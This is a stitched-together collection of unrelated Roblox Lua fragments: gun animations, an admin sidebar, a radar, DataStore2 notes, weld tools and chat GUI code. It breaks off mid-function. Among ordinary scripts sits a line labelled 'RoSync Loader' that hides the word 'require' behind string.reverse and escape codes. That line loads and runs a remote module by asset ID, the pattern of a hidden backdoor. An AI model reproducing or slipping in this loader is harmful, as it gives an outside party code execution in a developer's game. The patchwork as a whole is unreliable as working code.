ts:Create(objs[3],TweenInfo.new(0),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play() wait(0.1) objs[5].Handle:WaitForChild("AimUp"):Play() ts:Create(objs[2],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).RightPos}):Play() ts:Create(objs[3],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).LeftPos}):Play() wait(0.5) end; ZoomAnim = function(char, speed, objs) --ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play() ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new(-0.2, 0.21, 0)*CFrame.Angles(0, 0, math.rad(90))*CFrame.new(0.225, -0.75, 0)}):Play() wait(0.3) end; UnZoomAnim = function(char, speed, objs) --ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play() ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new()}):Play() wait(0.3) end; ChamberAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.2),{C1 = CFrame.new(0.6, -0.2, -1) * CFrame.Angles(math.rad(-95), math.rad(30), math.rad(-60))}):Play() ts:Create(objs[3],TweenInfo.new(0.2),{C1 = CFrame.new(0.3,-0.9,-0.7) * CFrame.Angles(math.rad(-120),math.rad(70),math.rad(15))}):Play() wait(0.15) objs[5].Bolt:WaitForChild("SlidePull"):Play() ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(0.6, -0.5, -1) * CFrame.Angles(math.rad(-110), math.rad(30), math.rad(-60))}):Play() ts:Create(objs[3],TweenInfo.new(0.25),{C1 = CFrame.new(-0.2,-1,-0.6) * CFrame.Angles(math.rad(-120),math.rad(70),math.rad(15))}):Play() ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.25),{C0 = CFrame.new(0,0,0.4) * CFrame.Angles(0,math.rad(0),0)}):Play() ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.25),{C0 = CFrame.new(0,0,0.4) * CFrame.Angles(0,math.rad(0),0)}):Play() wait(0.3) ts:Create(objs[2],TweenInfo.new(0.2),{C1 = CFrame.new(0.6, 0, -1) * CFrame.Angles(math.rad(-95), math.rad(30), math.rad(-60))}):Play() ts:Create(objs[3],TweenInfo.new(0.25),{C1 = CFrame.new(-0.2,-1.8,-0.8) * CFrame.Angles(math.rad(-120),math.rad(70),math.rad(15))}):Play() objs[5].Bolt:WaitForChild("SlideRelease"):Play() ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() wait(0.2) end; ChamberBKAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.55,0.05,-1.5) * CFrame.Angles(math.rad(-120),math.rad(20),math.rad(0))}):Play() wait(0.3) objs[5].Bolt:WaitForChild("SlideRelease"):Play() ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() wait(0.15) end; CheckAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0.5, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() wait(.35) local MagC = objs[5]:WaitForChild("Mag"):clone() objs[5].Mag.Transparency = 1 MagC.Parent = objs[5] MagC.Name = "MagC" MagC.Transparency = 0 local MagCW = Instance.new("Motor6D") MagCW.Part0 = MagC MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm") MagCW.Parent = MagC MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame) ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(.3, -0.2, .85) * CFrame.Angles(math.rad(0), math.rad(90), math.rad(90))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() objs[5].Handle:WaitForChild("MagOut"):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.15,0.475,-1.5) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(0))}):Play() wait(1.5) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play() objs[5].Handle:WaitForChild("MagIn"):Play() MagC:Destroy() objs[5].Mag.Transparency = 0 wait(0.3) end; ShellInsertAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-115), math.rad(-2), math.rad(9))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.55,-0.4,-1.15) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play() wait(0.3) objs[5].Handle:WaitForChild("ShellInsert"):Play() ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-110), math.rad(-2), math.rad(9))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.6,-0.3,-1.1) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play() objs[6].Value = objs[6].Value - 1 objs[7].Value = objs[7].Value + 1 wait(0.3) end; ReloadAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(30))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.35,-0.95,-1.45) * CFrame.Angles(math.rad(-130),math.rad(75),math.rad(15))}):Play() wait(0.3) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-85), math.rad(0), math.rad(30))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-1.5,-1.65) * CFrame.Angles(math.rad(-125),math.rad(75),math.rad(15))}):Play() local MagC = objs[5]:WaitForChild("Mag"):clone() objs[5].Mag.Transparency = 1 MagC.Parent = objs[5] MagC.Name = "MagC" MagC.Transparency = 0 local MagCW = Instance.new("Motor6D") MagCW.Part0 = MagC MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm") MagCW.Parent = MagC MagCW.C1 = MagC.CFrame:toObjectSpace(objs[5].Mag.CFrame) objs[5].Handle:WaitForChild("MagOut"):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.4),{C1 = CFrame.new(1.195,1.4,-0.5) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0))}):Play() wait(0.75) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-85), math.rad(0), math.rad(30))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-1.5,-1.65) * CFrame.Angles(math.rad(-125),math.rad(75),math.rad(15))}):Play() wait(0.3) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, 0.425, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(30))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.35,-0.95,-1.45) * CFrame.Angles(math.rad(-130),math.rad(75),math.rad(15))}):Play() objs[5].Handle:WaitForChild("MagIn"):Play() MagC:Destroy() objs[5].Mag.Transparency = 0 if (objs[6].Value - (objs[8].Ammo - objs[7].Value)) < 0 then objs[7].Value = objs[7].Value + objs[6].Value objs[6].Value = 0 --Evt.Recarregar:FireServer(objs[5].Value) elseif objs[7].Value <= 0 then objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) --Evt.Recarregar:FireServer(objs[5].Value) objs[7].Value = objs[8].Ammo objs[9] = false elseif objs[7].Value > 0 and objs[9] and objs[8].IncludeChamberedBullet then objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) - 1 --objs[10].Recarregar:FireServer(objs[6].Value) objs[7].Value = objs[8].Ammo + 1 elseif objs[7].Value > 0 and objs[9] and not objs[8].IncludeChamberedBullet then objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) --Evt.Recarregar:FireServer(objs[5].Value) objs[7].Value = objs[8].Ammo end wait(0.55) end;
--[[ SCRIPT VERSION: 1.3, 10/19/21 CURRENT ISSUE: Nothing --]]
if not game.Loaded or not workspace:FindFirstChild("Terrain") then game.Loaded:Wait(); game:GetService("Players").LocalPlayer.CharacterAdded:Wait(); end; local Players = game:GetService("Players") local Player = Players.LocalPlayer; local Screen = script.Parent.Parent.Leveled.Admin; local Sidebar = Screen.Sidebar.Inside; function Animate(Instance, Time, Style, Direction, Animation, WaitForAnimation) game:GetService("TweenService"):Create(Instance, TweenInfo.new(Time, Style, Direction, 0, false, 0), Animation):Play(); if WaitForAnimation == true then wait(Time); end; end; for Int, Button in pairs(Sidebar:GetChildren()) do if Button:IsA("ImageButton") then Button.MouseButton1Click:Connect(function() if Screen:FindFirstChild(Button.Name).Visible == true then Screen:FindFirstChild(Button.Name).Visible = false; Button.ImageColor3 = Color3.fromRGB(120, 120, 125); return; end; local WantScreen = Screen:FindFirstChild(Button.Name); for Int, Ue1 in pairs(Screen:GetChildren()) do if Ue1.Name ~= "Sidebar" then Ue1.Visible = false; Sidebar:FindFirstChild(Ue1.Name).ImageColor3 = Color3.fromRGB(120, 120, 125); end; end; WantScreen.Visible = true; Button.ImageColor3 = Color3.fromRGB(255, 255, 255); end); end; end;
--[[ Classes.RadialMenu This class creates a radial menu. It is by far the most "raw" module in this library as so much of how you interact with it is developer defined. Constructors: new(subN [integer], tPercent [float], rotation [float]) > Creates a radial menu divided into subN sections where the ring is tPercent width of the frame radius > and the ring is rotationally offset by rotation radians Properties: Frame [instance] > The container frame for the radial menu. Can be used for positioning and resizing. > Note that this frame should always be square, by default it's set to YY size constraining Rotation [float] > The rotation offset that the developer entered as an argument when creating the radial menu. SubN [integer] > The number of subsections that the developer entered as an argument when creating the radial menu. Enabled [boolean] > Whether or not the radial menu is actively tracking input. > Defaults to true DeadZoneIn [float] > Number represents a percentage from the radius that will be ignored in regards to input > By default this is 0.5 meaning the center 50% of the radial frame ignores input DeadZoneOut [float] > Number represents a percentage from the radius that once passed will be ignored in regards to input. > By default this is math.huge meaning that as long as your outside of DeadZoneIn your input will not be ignored. Methods: :SetRadialProps(props [dictionary]) [void] > Sets the properties of all the radial background UI :SetDialProps(props [dictionary]) [void] > Sets the properties of the radial dial UI :GetTheta(userInputType [Enum.UserInputType]) [float] > Depending on if MouseMovement, Touch, or a Gamepad returns the directional angle that the user is inputting on their device > If input is not in deadzone range then this method returns nil > Returns the angle in radians :PickIndex(theta) [integer] > Given a directional angle returns the closest element on the radial wheel as an index. :GetRadial(index) [instance] > Returns the radial background UI for that index. :GetAttachment(index) [instance] > Returns the radial attachment UI for that index. > This frame is useful for putting text or images in. :IsVisible() [boolean] > Returns whether or not the radial menu is visible to the user or not. :Destroy() [void] > Destroys the RadioButtonGroup and all the events, etc that were running it. Events: .Clicked:Connect(function(index [integer]) > Fired when the user selects an element on the radial menu. .Hover:Connect(function(oldIndex [integer], newIndex [integer]) > Fired when the user hovers in the direction of a new element on the radial menu --]]
-------------------------------------------
local weld2 = Instance.new("Weld") weld2.Part0 = torso weld2.Parent = torso weld2.Part1 = arms[2] weld2.C1 = CFrame.new(0.5,0.5,0.3) * CFrame.fromEulerAnglesXYZ(math.rad(20),0.1,0.1) arms[2].Name = "RDave" arms[2].CanCollide = true welds[2] = weld2
-- SecArrow.Rotation = 180+(second*6)
wait(1) end
--[=[ Unions the set with the other set, making a copy. @param set table @param otherSet table @return table ]=]
function Set.union(set, otherSet) local newSet = {} for key, _ in pairs(set) do newSet[key] = true end for key, _ in pairs(otherSet) do newSet[key] = true end return newSet end
-- This is to store other things that may require our radar attention
local Camera = workspace.CurrentCamera local SaveList = {MinhaVisao = 1, RosaDosVentos = 1, FoeBlip = 1, FriendBlip = 1} local SquadSave = {UIGridLayout = 1} Character.Humanoid.Died:Connect(function() script.Parent.Enabled = false end) game:GetService("RunService").RenderStepped:connect(function() local Direction = (Vector2.new(Camera.Focus.x,Camera.Focus.z)-Vector2.new(Camera.CoordinateFrame.x,Camera.CoordinateFrame.z)).unit local theta = (math.atan2(Direction.y,Direction.x))*(-180/math.pi) - 90 if Saude.FireTeam.SquadName.Value ~= "" then MinhasVisao.ImageColor3 = Saude.FireTeam.SquadColor.Value else MinhasVisao.ImageColor3 = Color3.fromRGB(255,255,255) end local frame = Vector3.new(Camera.CoordinateFrame.x, 0, Camera.CoordinateFrame.z) local focus = Vector3.new(Camera.Focus.x, 0, Camera.Focus.z) local frame = CFrame.new(focus, frame) script.Parent.Frame.RosaDosVentos.Rotation = theta local players = game.Players:GetChildren() if Saude.FireTeam.SquadName.Value ~= "" and Player then script.Parent.Squad.Visible = true script.Parent.Squad.Esquadrao.Text = Saude.FireTeam.SquadName.Value else script.Parent.Squad.Visible = false end local Nomes = script.Parent.Squad.Membros:GetChildren() for i = 1, #Nomes do if not SquadSave[Nomes[i].Name] then Nomes[i]:Destroy() end end for i = 1, #players do if players[i] ~= Player and players[i].Character and Player and Player.Character then local unit = script.Parent.Squad.Membros:FindFirstChild(players[i].Name) if not unit then if players[i].TeamColor == Player.TeamColor and players[i].Character.Saude.FireTeam.SquadName.Value == Player.Character.Saude.FireTeam.SquadName.Value and Player.Character.Saude.FireTeam.SquadName.Value ~= "" then unit = script.Parent.Squad.Exemplo:Clone() unit.Visible = true unit.Text = players[i].Name unit.Name = players[i].Name unit.Parent = script.Parent.Squad.Membros end end end end local labels = RadarFrame:GetChildren() for i = 1, #labels do if not SaveList[labels[i].Name] then labels[i]:Destroy() end end for i = 1, #players do if players[i] ~= Player and players[i].Character and Player and Player.Character then local unit = RadarFrame:FindFirstChild(players[i].Name) if not unit then if players[i].TeamColor == Player.TeamColor then unit = FriendBlip:Clone() else unit = FoeBlip:Clone() end unit.Visible = false unit.Name = players[i].Name unit.Parent = RadarFrame end if players[i].Character:FindFirstChild('Humanoid') and players[i].Character:FindFirstChild('HumanoidRootPart') then -- Get the relative position of the players local pos = CFrame.new(players[i].Character.HumanoidRootPart.Position.X, 0, players[i].Character.HumanoidRootPart.Position.Z) local relativeCFrame = frame:inverse() * pos local distanceRatio = relativeCFrame.p.Magnitude/RANGE if distanceRatio < 0.9 then local xScale = 0.5 - ((relativeCFrame.x/RANGE)/2) local yScale = 0.5 - ((relativeCFrame.z/RANGE)/2) unit.Position = UDim2.new(xScale, 0, yScale, 0) unit.Rotation = -players[i].Character.HumanoidRootPart.Orientation.Y + theta if players[i].TeamColor == Player.TeamColor then if players[i].Character.Saude.FireTeam.SquadName.Value ~= "" then unit.ImageColor3 = players[i].Character.Saude.FireTeam.SquadColor.Value else unit.ImageColor3 = FriendBlip.ImageColor3 end else unit.ImageColor3 = FoeBlip.ImageColor3 end unit.Visible = true else unit.Visible = false end else unit.Visible = false end end end end)
-- function fires EVERYTIME a player joins the game
game.Players.PlayerAdded:Connect(onPlayerAdded)
--[[ DataStore2: A wrapper for data stores that caches and saves player's data. DataStore2(dataStoreName, player) - Returns a DataStore2 DataStore DataStore2 DataStore: - Get([defaultValue]) - Set(value) - Update(updateFunc) - Increment(value, defaultValue) - BeforeInitialGet(modifier) - BeforeSave(modifier) - Save() - SaveAsync() - OnUpdate(callback) - BindToClose(callback) local coinStore = DataStore2("Coins", player) To give a player coins: coinStore:Increment(50) To get the current player's coins: coinStore:Get() --]]
local RunService = game:GetService("RunService") local ServerStorage = game:GetService("ServerStorage") local Constants = require(script.Constants) local IsPlayer = require(script.IsPlayer) local Promise = require(script.Promise) local SavingMethods = require(script.SavingMethods) local Settings = require(script.Settings) local TableUtil = require(script.TableUtil) local Verifier = require(script.Verifier) local SaveInStudioObject = ServerStorage:FindFirstChild("SaveInStudio") local SaveInStudio = SaveInStudioObject and SaveInStudioObject.Value local function clone(value) if typeof(value) == "table" then return TableUtil.clone(value) else return value end end
--[=[ Locks the mouse in its current position on screen. Call `mouse:Unlock()` to unlock the mouse. :::caution Must explicitly unlock Be sure to explicitly call `mouse:Unlock()` before cleaning up the mouse. The `Destroy` method does _not_ unlock the mouse since there is no way to guarantee who "owns" the mouse lock. ]=]
function Mouse:Lock() UserInputService.MouseBehavior = Enum.MouseBehavior.LockCurrentPosition end
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local autoscaling = false --Estimates top speed local UNITS = { --Click on speed to change units --First unit is default { units = "MPH" , scaling = (10/12) * (60/88) , -- 1 stud : 10 inches | ft/s to MPH maxSpeed = 160 , spInc = 20 , -- Increment between labelled notches }, { units = "KM/H" , scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H maxSpeed = 260 , spInc = 20 , -- Increment between labelled notches }, { units = "SPS" , scaling = 1 , -- Roblox standard maxSpeed = 270 , spInc = 20 , -- Increment between labelled notches } }
-- Servic
local rp = game:GetService("ReplicatedStorage") local Players = game:GetService('Players')
-- Get references to the DockShelf and its children
local dockShelf = script.Parent.Parent.Parent.Parent.Parent.DockShelf local aFinderButton = dockShelf.GASettings local opened = aFinderButton.Opened local Minimalise = script.Parent local window = script.Parent.Parent.Parent
--[[ Last synced 12/13/2020 05:30 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
--sound.ScriptWestMinsterChimes.Disabled=true
script.Parent.HiLo.Value = false sound.ScriptOff.Disabled=false wait() script.Parent.Spin.Value = false end wait() end
-- References to reduce indexing time
local GetConnectedParts = Instance.new('Part').GetConnectedParts; local GetChildren = script.GetChildren; function GetPartWelds(Part) -- Returns any BT-created welds involving `Part` local Welds = {}; -- Get welds stored inside `Part` for Weld in pairs(SearchWelds(Part, Part)) do Welds[Weld] = true; end; -- Get welds stored inside connected parts for _, ConnectedPart in pairs(GetConnectedParts(Part)) do for Weld in pairs(SearchWelds(ConnectedPart, Part)) do Welds[Weld] = true; end; end; -- Return all found welds return Welds; end; function SearchWelds(Haystack, Part) -- Searches for and returns BT-created welds in `Haystack` involving `Part` local Welds = {}; -- Search the haystack for welds involving `Part` for _, Item in pairs(GetChildren(Haystack)) do -- Check if this item is a BT-created weld involving the part if Item.Name == 'BTWeld' and Item.ClassName == 'Weld' and (Item.Part0 == Part or Item.Part1 == Part) then -- Store weld if valid Welds[Item] = true; end; end; -- Return the found welds return Welds; end; function CreateWelds() -- Creates welds for every selected part to the focused part -- Send the change request to the server API local Welds = Core.SyncAPI:Invoke('CreateWelds', Selection.Items, Selection.Focus); -- Update the UI with the number of welds created UI.Changes.Text.Text = ('created %s weld%s'):format(#Welds, #Welds == 1 and '' or 's'); -- Play a confirmation sound Core.PlayConfirmationSound(); -- Put together the history record local HistoryRecord = { Welds = Welds; Unapply = function (HistoryRecord) -- Reverts this change -- Remove the welds Core.SyncAPI:Invoke('RemoveWelds', HistoryRecord.Welds); end; Apply = function (HistoryRecord) -- Reapplies this change -- Restore the welds Core.SyncAPI:Invoke('UndoRemovedWelds', HistoryRecord.Welds); end; }; -- Register the history record Core.History.Add(HistoryRecord); end; function BreakWelds() -- Search for any selection-connecting, BT-created welds and remove them local Welds = {}; -- Find welds in selected parts for _, Part in pairs(Selection.Items) do for Weld in pairs(GetPartWelds(Part)) do Welds[Weld] = true; end; end; -- Turn weld index into list Welds = Support.Keys(Welds); -- Send the change request to the server API local WeldsRemoved = Core.SyncAPI:Invoke('RemoveWelds', Welds); -- Update the UI with the number of welds removed UI.Changes.Text.Text = ('removed %s weld%s'):format(WeldsRemoved, WeldsRemoved == 1 and '' or 's'); -- Put together the history record local HistoryRecord = { Welds = Welds; Unapply = function (HistoryRecord) -- Reverts this change -- Restore the welds Core.SyncAPI:Invoke('UndoRemovedWelds', HistoryRecord.Welds); end; Apply = function (HistoryRecord) -- Reapplies this change -- Remove the welds Core.SyncAPI:Invoke('RemoveWelds', HistoryRecord.Welds); end; }; -- Register the history record Core.History.Add(HistoryRecord); end; function EnableFocusHighlighting() -- Enables automatic highlighting of the focused part in the selection -- Only enable focus highlighting in tool mode if Core.Mode ~= 'Tool' then return; end; -- Reset all outline colors Core.Selection.RecolorOutlines(Core.Selection.Color); -- Recolor current focused item if Selection.Focus and (#Selection.Items > 1) then Core.Selection.Outlines[Selection.Focus].Color = BrickColor.new('Deep orange'); end; -- Recolor future focused items Connections.FocusHighlighting = Selection.FocusChanged:connect(function (FocusedItem) -- Reset all outline colors Core.Selection.RecolorOutlines(Core.Selection.Color); -- Recolor newly focused item if FocusedItem and (#Selection.Items > 1) then Core.Selection.Outlines[FocusedItem].Color = BrickColor.new('Deep orange'); end; end); end;
-- Controls IDs for the various handles.
return { Left = "Left", Right = "Right", Top = "Top", Bottom = "Bottom", TopRight = "TopRight", TopLeft = "TopLeft", BottomRight = "BottomRight", BottomLeft = "BottomLeft" }
--[[ By Precious Beam --]]
game.Players.PlayerAdded:connect(function(player) local datastore = game:GetService("DataStoreService"):GetDataStore(player.Name.."Stats") player:WaitForChild("Data") wait(1) local stats = player:FindFirstChild("Data"):GetChildren() for i = 1, #stats do stats[i].Value = datastore:GetAsync(stats[i].Name) print("stat numba "..i.." has been found") end end)
--[=[ @param name string @param inboundMiddleware ServerMiddleware? @param outboundMiddleware ServerMiddleware? @return RemoteSignal ]=]
function ServerComm:CreateSignal(name: string, inboundMiddleware: ServerMiddleware?, outboundMiddleware: ServerMiddleware?) return Comm.Server.CreateSignal(self._instancesFolder, name, inboundMiddleware, outboundMiddleware) end
--////////////////////////////// Methods --//////////////////////////////////////
local methods = {} methods.__index = methods local function CreateGuiObjects() local BaseFrame = Instance.new("Frame") BaseFrame.Selectable = false BaseFrame.Size = UDim2.new(1, 0, 1, 0) BaseFrame.BackgroundTransparency = 1 local gapOffsetX = 1 local gapOffsetY = 1 local BackgroundFrame = Instance.new("Frame") BackgroundFrame.Selectable = false BackgroundFrame.Name = "BackgroundFrame" BackgroundFrame.Size = UDim2.new(1, -gapOffsetX * 2, 1, -gapOffsetY * 2) BackgroundFrame.Position = UDim2.new(0, gapOffsetX, 0, gapOffsetY) BackgroundFrame.BackgroundTransparency = 1 BackgroundFrame.Parent = BaseFrame local UnselectedFrame = Instance.new("Frame") UnselectedFrame.Selectable = false UnselectedFrame.Name = "UnselectedFrame" UnselectedFrame.Size = UDim2.new(1, 0, 1, 0) UnselectedFrame.Position = UDim2.new(0, 0, 0, 0) UnselectedFrame.BorderSizePixel = 0 UnselectedFrame.BackgroundColor3 = ChatSettings.ChannelsTabUnselectedColor UnselectedFrame.BackgroundTransparency = 0.6 UnselectedFrame.Parent = BackgroundFrame local SelectedFrame = Instance.new("Frame") SelectedFrame.Selectable = false SelectedFrame.Name = "SelectedFrame" SelectedFrame.Size = UDim2.new(1, 0, 1, 0) SelectedFrame.Position = UDim2.new(0, 0, 0, 0) SelectedFrame.BorderSizePixel = 0 SelectedFrame.BackgroundColor3 = ChatSettings.ChannelsTabSelectedColor SelectedFrame.BackgroundTransparency = 1 SelectedFrame.Parent = BackgroundFrame local SelectedFrameBackgroundImage = Instance.new("ImageLabel") SelectedFrameBackgroundImage.Selectable = false SelectedFrameBackgroundImage.Name = "BackgroundImage" SelectedFrameBackgroundImage.BackgroundTransparency = 1 SelectedFrameBackgroundImage.BorderSizePixel = 0 SelectedFrameBackgroundImage.Size = UDim2.new(1, 0, 1, 0) SelectedFrameBackgroundImage.Position = UDim2.new(0, 0, 0, 0) SelectedFrameBackgroundImage.ScaleType = Enum.ScaleType.Slice SelectedFrameBackgroundImage.Parent = SelectedFrame SelectedFrameBackgroundImage.BackgroundTransparency = 0.6 - 1 local rate = 1.2 * 1 SelectedFrameBackgroundImage.BackgroundColor3 = Color3.fromRGB(78 * rate, 84 * rate, 96 * rate) local borderXOffset = 2 local blueBarYSize = 4 local BlueBarLeft = Instance.new("ImageLabel") BlueBarLeft.Selectable = false BlueBarLeft.Size = UDim2.new(0.5, -borderXOffset, 0, blueBarYSize) BlueBarLeft.BackgroundTransparency = 1 BlueBarLeft.ScaleType = Enum.ScaleType.Slice BlueBarLeft.SliceCenter = Rect.new(3,3,32,21) BlueBarLeft.Parent = SelectedFrame local BlueBarRight = BlueBarLeft:Clone() BlueBarRight.Parent = SelectedFrame BlueBarLeft.Position = UDim2.new(0, borderXOffset, 1, -blueBarYSize) BlueBarRight.Position = UDim2.new(0.5, 0, 1, -blueBarYSize) BlueBarLeft.Image = "rbxasset://textures/ui/Settings/Slider/SelectedBarLeft.png" BlueBarRight.Image = "rbxasset://textures/ui/Settings/Slider/SelectedBarRight.png" BlueBarLeft.Name = "BlueBarLeft" BlueBarRight.Name = "BlueBarRight" local NameTag = Instance.new("TextButton") NameTag.Selectable = ChatSettings.GamepadNavigationEnabled NameTag.Size = UDim2.new(1, 0, 1, 0) NameTag.Position = UDim2.new(0, 0, 0, 0) NameTag.BackgroundTransparency = 1 NameTag.Font = ChatSettings.DefaultFont NameTag.TextSize = ChatSettings.ChatChannelsTabTextSize NameTag.TextColor3 = Color3.new(1, 1, 1) NameTag.TextStrokeTransparency = 0.75 NameTag.Parent = BackgroundFrame local NameTagNonSelect = NameTag:Clone() local NameTagSelect = NameTag:Clone() NameTagNonSelect.Parent = UnselectedFrame NameTagSelect.Parent = SelectedFrame NameTagNonSelect.Font = Enum.Font.SourceSans NameTagNonSelect.Active = false NameTagSelect.Active = false local NewMessageIconFrame = Instance.new("Frame") NewMessageIconFrame.Selectable = false NewMessageIconFrame.Size = UDim2.new(0, 18, 0, 18) NewMessageIconFrame.Position = UDim2.new(0.8, -9, 0.5, -9) NewMessageIconFrame.BackgroundTransparency = 1 NewMessageIconFrame.Parent = BackgroundFrame local NewMessageIcon = Instance.new("ImageLabel") NewMessageIcon.Selectable = false NewMessageIcon.Size = UDim2.new(1, 0, 1, 0) NewMessageIcon.BackgroundTransparency = 1 NewMessageIcon.Image = "rbxasset://textures/ui/Chat/MessageCounter.png" NewMessageIcon.Visible = false NewMessageIcon.Parent = NewMessageIconFrame local NewMessageIconText = Instance.new("TextLabel") NewMessageIconText.Selectable = false NewMessageIconText.BackgroundTransparency = 1 NewMessageIconText.Size = UDim2.new(0, 13, 0, 9) NewMessageIconText.Position = UDim2.new(0.5, -7, 0.5, -7) NewMessageIconText.Font = ChatSettings.DefaultFont NewMessageIconText.TextSize = 14 NewMessageIconText.TextColor3 = Color3.new(1, 1, 1) NewMessageIconText.Text = "" NewMessageIconText.Parent = NewMessageIcon return BaseFrame, NameTag, NameTagNonSelect, NameTagSelect, NewMessageIcon, UnselectedFrame, SelectedFrame end function methods:Destroy() self.GuiObject:Destroy() end function methods:UpdateMessagePostedInChannel(ignoreActive) if (self.Active and (ignoreActive ~= true)) then return end local count = self.UnreadMessageCount + 1 self.UnreadMessageCount = count local label = self.NewMessageIcon label.Visible = true label.TextLabel.Text = (count < 100) and tostring(count) or "!" local tweenTime = 0.15 local tweenPosOffset = UDim2.new(0, 0, -0.1, 0) local curPos = label.Position local outPos = curPos + tweenPosOffset local easingDirection = Enum.EasingDirection.Out local easingStyle = Enum.EasingStyle.Quad label.Position = UDim2.new(0, 0, -0.15, 0) label:TweenPosition(UDim2.new(0, 0, 0, 0), easingDirection, easingStyle, tweenTime, true) end function methods:SetActive(active) 